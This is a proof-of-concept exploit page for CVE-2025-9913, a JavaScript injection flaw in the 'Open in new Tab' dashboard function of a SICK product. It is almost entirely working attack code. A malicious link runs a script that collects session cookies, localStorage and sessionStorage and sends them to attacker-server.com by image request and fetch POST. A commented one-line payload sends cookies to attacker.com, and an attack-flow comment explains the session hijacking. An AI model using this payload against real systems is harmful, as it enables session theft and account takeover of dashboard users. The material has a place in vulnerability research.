SICK产品仪表板Open in New Tab功能JavaScript注入会话劫持漏洞

<!-- CVE-2025-9913 PoC: JavaScript Injection via Dashboard "Open in new Tab" Button --> <!-- This PoC demonstrates how javascript: URI can be injected through the dashboard's "Open in new Tab" functionality --> <!-- Malicious link that exploits the vulnerability when clicked via "Open in new Tab" --> <a href="javascript:void((function(){ // Steal session cookie and send to attacker server var sessionData = document.cookie; var img = new Image(); img.src = 'https://attacker-server.com/steal?data=' + encodeURIComponent(sessionData); // Also steal localStorage/sessionStorage tokens var localData = JSON.stringify({ localStorage: localStorage, sessionStorage: sessionStorage, cookies: document.cookie }); // Exfiltrate via fetch fetch('https://attacker-server.com/exfil', { method: 'POST', body: localData, headers: {'Content-Type': 'application/json'} }); })())"> Click to Open Dashboard </a> <!-- Alternative: Direct javascript: payload for address bar execution --> <!-- javascript:void(document.location='https://attacker.com/steal?c='+document.cookie) --> <!-- * Attack Flow: * 1. Attacker with high privileges crafts malicious javascript: URI * 2. Victim clicks "Open in new Tab" on dashboard * 3. JavaScript executes in the context of the dashboard application * 4. Session cookies/tokens are exfiltrated to attacker's server * 5. Attacker uses stolen session to hijack victim's session */